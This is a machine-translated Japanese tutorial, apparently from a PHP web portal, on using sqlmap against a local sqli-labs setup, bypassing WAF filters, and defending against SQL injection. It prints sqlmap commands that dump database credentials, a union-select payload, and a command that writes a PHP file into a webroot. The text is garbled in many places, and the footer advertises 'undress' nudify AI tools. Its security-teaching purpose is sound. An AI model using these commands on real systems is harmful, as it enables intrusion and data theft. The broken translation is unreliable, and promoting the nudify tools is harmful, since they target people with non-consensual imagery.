SQLMap と SQLi インジェクション防御を分析する方法
パート 1: Sqlmap の使用
1.1 sqlmap の概要
1. SQL インジェクションの基本的なステートメントについては前にいくつか説明しましたが、手動インジェクションは非常に面倒です。 SQL インジェクション。データを取得するツール。
2. sqlmap の概要
(1)#sqlmap は、SQL インジェクションの脆弱性と
を自動的に検出して悪用できるオープン ソースの侵入テスト ツールです。インターフェース データベースに入るサーバー。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。
公式 Web サイト: sqlmap.org
(2)#サポートされるデータベース:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、IBM DB2、SQLite、Firebird、Sybase、SAP MAXDB。
#エラーベースの SQL インジェクション (エラーベースのインジェクション)
# ブールベースのブラインド SQL インジェクション (ブール インジェクション)
#時間ベースのブラインド SQL インジェクション (時間遅延インジェクションに基づく)
#スタック クエリ SQL インジェクション (マルチステートメント クエリ インジェクション)
python,# と入力します。 ##次のプロンプトはインストールが成功したことを示します
python
Python 2.7.16
(v2.7.16:413a49145e, Mar 4 2019, 01:37:19) win32 の [MSC v.1500 64 ビット (AMD64)]詳細については、「ヘルプ」、「著作権」、「クレジット」、または「ライセンス」と入力してください。 >>> exit();
(5) sqlmap テスト: cmd コマンド ラインを入力し、sqlmap.py -h (パスに注意してください) C:\ Users\Administrator\sqlmap>
sqlmap.py -h #ヘルプ情報を表示
#(1) ライブラリ名、カラム名、権限の取得
--dbs #すべてのデータベースの取得
--users #すべてのデータベース ユーザー ( データベースのローカル ユーザー名)
- --passwords #データベースのパスワードを取得します (許可がある場合にのみ読み取ることができます)
- --technique #使用する注入タイプを指定します
- --current-db #Currentデータベース
--banner #データベース識別の取得
- #-D データベース名 --tables #-D はデータの指定に使用され、--tables はデータを取得します特定のライブラリの下のテーブル
- -D データベース名 -T テーブル名 --columns #-T はテーブル名を指定し、 --columns は列フィールドを取得します #-D データベース名 -T テーブル名 -C 列_1,列_2 --dump
- #-C はフィールド名を指定します。- - 表示結果をダンプします
- --users #列データベース管理ユーザー: 現在のユーザーがすべてのユーザーを含むテーブルを読み取る権限を持っている場合、すべての管理ユーザーをリストできます。
- --current-user #データを管理するユーザーは、ほとんどのデータベースで取得できます。
- --is-dba #現在のユーザーが管理者であるかどうかを判断し、管理者である場合は True を返します。
- --proxy #プロキシ サーバーを指定します。例: –proxy http://local:8080
- (2) 指定します。プレフィックスとサフィックス:
#sqlmap は多くの干渉文字を検出できません。閉じるときに、プレフィックスとサフィックスを手動で指定できます
select * from users where id=((( '1 '))) および 1=1
#--prefix=PREFIX ペイロード文字列を挿入します prefix
-
--suffix "AND ('1' = '1"
--suffix=SUFFIXペイロードの挿入文字列サフィックス
例: sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
#(3) 結果のエクスポート:
##sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one. php "
- #--完全自動バッチ #--start=開始番号--stop=終了番号
-
##--dump データのエクスポート
- ##--dump-all すべてのデータのエクスポート ##--purge-output/ -- purge キャッシュ ディレクトリをクリアします
- --sql-shell SQL クエリ アナライザーに似たリバウンド sqlshell デフォルトの path.sqlmap (sqlmap をクリック)
- #1.4 sqlmap の実際の例
#Less-1--Less65 の一般的なステートメント (これらは最も一般的に使用されるパラメータであるため、理解しておく必要があります)
#(1 ) すべてのライブラリ名を取得します
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms= mysql --batch
# 分析:-u に続く URL はテスト URL を示します
--dbs はすべてのデータベースの取得を示します--dbms は、指定されたデータベース タイプが mysql であることを意味します
--batch は自動的に取得することを意味します-D security --tables は指定されたデータベースのテーブルを次のように取得することを意味しますsecurity Name-D security -T users --columns は、指定されたデータベースの users テーブルの列名を security-D security -T users -C username,password として取得することを意味します--dump # セキュリティ ライブラリとユーザー テーブルのユーザー名とパスワード フィールドのデータ情報を取得します。 --dump は結果を表示することを意味しますResult:
#[*]チャレンジ[*] dvwa
[*] information_schema[*] mysql
[*] owasp[*] Performance_schema[*] security[*] テスト
現在のデータベース: 'セキュリティ'
#(2) 現在のライブラリ名を取得します
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less- 1?id=1" --current -db --batch
#結果:#(3) を取得します。現在のテーブル名
C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch
# 結果:データベース:セキュリティ[4 テーブル] ----------
| Referers |
| メール || uagents || users | ----------
#結果:
#(4) 現在の列名を取得
C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch
| 列 | 型 |
データベース: セキュリティテーブル: ユーザー[3 列]
---------- ---- ------------------- ------------- | id | int (3) || パスワード | varchar (20) |
| ユーザー名 | varchar(20) |
---------- ----------- --
#(5) users テーブルのユーザー名とパスワードの内容を取得します。
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http:/ /localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch
結果:データベース:セキュリティテーブル: ユーザー[13 エントリ ]
| ユーザー名 | パスワード |
---------- ---------------------- --- --------- | バカ | バカ || アンジェリーナ | 殺すよ |
| ダミー | p@ ssword |
| 安全 | くだらない |
| 愚か | 愚かさ |
| スーパーマン | 天才 |
| バットマン | 暴徒 |
| 管理者 | 管理者 |
| 管理者 1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumpo |
| admin4 | admin4 |
---------- --- ---------
パート 2: SQL インジェクションの WAF バイパス
2.1 SQL インジェクションの WAF バイパス方法の概要
注: こここれらはバイパス方法を説明するための単なる例であり、実際のシナリオはより複雑です。複雑です。複数のバイパス方法を混合してエンコードすることができます。1. SQL インジェクションの方法を理解した後、SQL インジェクションを防ぐにはどうすればよいですか?インジェクション?
##(1) コメント文字のフィルタ#(2) and or or
## のフィルタ
(3) フィルタの選択または結合- #(4) フィルタのブラックリスト
- 2. フィルタリングおよび/またはバイパスとは何ですかメソッド?
- #(1) Mysql は大文字と小文字を区別しないため、正しく実行できます。===>ケースの変形を使用する
#(2)mysql は 16 進数をサポートしており、16 進数または URL エンコーディングを使用します;
#(3)単語を記号で置き換えます = ==> 記号のバイパスand(&&) or(||)
#(4) インライン コメントと複数行コメント===>デリケートな言葉でコメントを追加する a/**/nd 二重書き込みバイパス oORr
3. もちろん他の方法もあります。これらのフィルタリング方法を例として、バイパス方法について説明します。
waf があります。
2.2 SQL インジェクション バイパス WAF 実験
1. アノテーションをフィルタリングします (例として 23 未満)
#(1) コメント文字をフィルタリングする理由: 通常の SQL ステートメントでは、コメント文字は説明的な役割を果たします。ただし、SQL インジェクションの脆弱性を悪用する過程で、コメント文字は一重引用符、複数の一重引用符、二重引用符、一重括弧、および複数括弧を閉じる役割を果たします。
単一行のコメント: -- または --space または
#複数行のコメント: /* 複数行のコメントの内容* /
#(2) フィルター関数 preg_replace
preg_replace(mixed $pattern,mixed $replacement,mixed $subject): 正規表現による検索と置換を実行します。
$pattern: 検索するパターン。文字列または文字列配列にすることができます。
$replacement: 置換に使用される文字列または文字列配列。
$subject: 検索および置換されるターゲット文字列または文字列配列。
#(3) コメント文字をバイパスします:
コメント文字を使用してフィルタリングすると、一重引用符などを正常に閉じることができません。別の考え方を使用して、または '1 '='1 閉じ一重引用符など。
http://127.0.0.1/sqli/Less-23/?id=-1' 共用体選択 1,database(),'3
2。フィルター処理された and or or をバイパスするにはどうすればよいですか? (例として Less-25)
(1) ソース コード分析: or または and が空の
# に置き換えられていることがわかります。
(1)使用する スペースとして機能するには
#パート 3: SQL インジェクション防御
3.1 SQL インジェクション防御方法
1. 一般的な保護手段:
#(1)、エラー プロンプトをオフにします: PHP 設定ファイル php.ini の display_errors=Off
# (2)、マジック クオート (addslashes と同じ効果): php.ini の場合、magic_quotes_gpc=の上。送信された変数内のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ (\)、および NUL (NULL 文字) は、バックスラッシュを含むエスケープ文字に自動的に変換されます#(3)、データをフィルターします。 、and/or/union
#(4) などの一般的なキーワードをフィルタリングします。データベースに接続するためのユーザー権限を制御します。各ライブラリは 1 つのライブラリに対して管理者を設定します。root 権限は使用しません。
#( 5)、前処理とパラメータ化 (PDO): データを単純に「結合」するのではなく、ユーザーから渡されたパラメータを処理してブール値を返すことで、SQL インジェクションを回避します。
#(6) ハードウェア保護対策 (WAF)およびその他のハードウェア)
以上がSQLMap と SQLi インジェクション防御を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









sqlmap を使用して dvwa へのインジェクションを自動化し、dvwa レベルを低く設定し、dvwa の SQLInjection (SQLInjection(Blind)) を開き、ブラウザーのデバッグを開き、ユーザー ID を入力して送信し、インターセプトされた要求を表示します。これは GET リクエストである URL「http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#」であることがわかります。これをテストするために salmap に直接入れます。 - u コマンド -u"http://192.168.1.22

0x00 概要 最近、sqlmap インジェクション テストを使用しているときに、上位バージョンの sqlmap ではインジェクションを検出できないが、下位バージョンではインジェクションを検出でき、誤検知ではなくデータが枯渇するという奇妙な現象に遭遇しました。比較テストを行って sqlmap のソース コードを表示したところ、2 つの小さな穴が見つかりました。 0x01 シナリオ再現注入ポイント形式: json..."whereparams":[{"name":"keyWord","value":"test"}]} 注入可能なパラメータ:valuesqlmap コマンド:pythonsqlmap.py-rsqlpk.txt–フラッシュ-session-vvsqlmapv1.2.11 は を注入できません

パート 1: Sqlmap の使用 1.1 sqlmap の概要 1. SQL インジェクションの基本的なステートメントをいくつか説明しましたが、手動インジェクションは非常に面倒です. データを取得するには、強力な SQL インジェクション ツールである sqlmap を使用できます 2. sqlmap の概要 (1) # sqlmap は、SQL インジェクションの脆弱性とデータベースに接続されているサーバーを自動的に検出して悪用できるオープンソースの侵入テスト ツールです。非常に強力な検出エンジン、複数の機能を備えたペネトレーション テスター、データベース フィンガープリンティングによる基盤となるファイル システムへのアクセス、および帯域外接続を介したコマンド実行を備えています。公式 Web サイト: sqlmap.org(2)#サポートされるデータベース: MySQL、Oracle、PostgreS

外部 Web サイトへの侵入テストを行う必要があるため、ほとんどの Web サイトではアクセス頻度制御が行われており、この頻度を超えると、その IP は直接禁止されます。特に SQLMAP の実行中はさらに「おばさんっぽく」なり、SQLMAP の実行が終了する前にエラーが報告されて終了します。そこで SQLMAP のプロキシ モードについて勉強し始めたのですが、SQLMAP には通常のプロキシ (HTTP プロキシ) とオニオン プロキシの 2 つのプロキシ モードがあります。当初は通常のエージェントの適用について書きたかったのですが、Baidu はこの記事が十分に詳細であると判断し、くだらない話をやめました。 Sqlmap 拡張 - 外部 IP プロキシ プールの実装 オニオン プロキシに焦点を当てましょう。当初、オニオンがインジェクションに直接使用されていたとき、「赤おばさん」レポートはありませんでした。その後、侵入 Web サイトの数が増加するにつれて、

1. はじめに SQL インジェクションを検出するにはどうすればよいですか?私の答えは、「当事者 A がセキュリティを行っている場合、SQL インジェクションの検出は比較的簡単に実行できる」です。 1) エラー挿入の検出。 2) 誤検知が比較的多いため、ブール値エラー レポートを挿入しないでください。 3) 時間ベースのタイム インジェクションを実行し、低速ログ データベース レコードを作成するための操作とメンテナンスに連絡し、スリープを監視し、ベンチマーク キーワードを監視します。位置付けを容易にするために、スリープ時間の小数点にスキャン タスクの ID 番号を追加できます。 (追記: この方法で SQL インジェクションの 99% を見つけることができます) したがって、時間ベースのタイム インジェクションを行う場合、私は時間エラーを非常に厳しく制限します。ただし、@chengable は、t に基づいて、パーティ B でセキュリティ関連の作業を行っています。

インターネット上には、sqlmap の DNS インジェクションに関する関連記事が少なすぎます。--dns-domain パラメーターについて簡単に紹介しているだけです。関連する実用的な記事は曖昧であるか、一度に言及されており、混乱を招きます (主に不正直、重要なのはまだビッグボスではありません)。そこでネット上の方法を参考に再度やってみました。準備する必要があるものには、1 つの sqlmap、Windows ブラインド インジェクション、2 つのドメイン名、および外部ネットワーク サーバーが含まれます。ある時、何かをしていた時にタイムブラインドインジェクションに出会い、たまたまWindowsマシンだったのでDNSインジェクションの方法を思い出しました。開始する前に、sqlmap の --sql-shell コマンドを使用して、DNS インジェクション ペイロードをテストする予定です。まず、burpsuite に移動します。

同社のアプリをテストしたところ、すべてのパラメーターの内容に 32 ビット文字が追加され、最終的に MD5 暗号化が実行されていることがわかりました。 APPの処理プロセスでは最初に署名が正しいかどうかを検証するため、署名検証に失敗するとデータベースにまったく入れなくなりますが、それをテストするためにSQLMAPを使用するために、プロキシデータ用のスクリプトを作成しました。データ パケットでは、そのパラメータの内容と 32 文字の暗号化された置換が実行されます。注: このスクリプトは、暗号化プロセスを知ることができたり、フロントエンド JS の暗号化方式を取得したりできるため、企業の内部システムに適しています。まず、会社のシステムをシミュレートするために、Django を使用して POST ID とトークンを取得し、カスタムの暗号化単語を追加するプログラムを作成しました。

sqlmap はファイルの読み取りと書き込みを行います。 –file-read: バックエンド データベース管理システムのファイル システムからファイルを読み取ります。 –file-write: バックエンド データベース管理システムのファイル システム上のローカル ファイルを編集します (ローカルから書き込みます) –file-dest :バックエンド データベース管理システムによって書き込まれるファイルへの絶対パス (書き込みターゲット パス)。SQL インジェクション後に上記のコマンドを使用してシステム ファイルの読み取りと書き込みを行うことができますが、前提条件として読み取りと書き込みができる必要があります。 dba. 権限を持っている場合、読み取りおよび書き込み操作は正常に実行できません。 DVWA を例として、ファイルの読み取りと書き込みを行うために kali の下に DVWA を構築します。ファイルを読み取ります。PHPinfo で関連情報を確認し、-file-r を使用します。
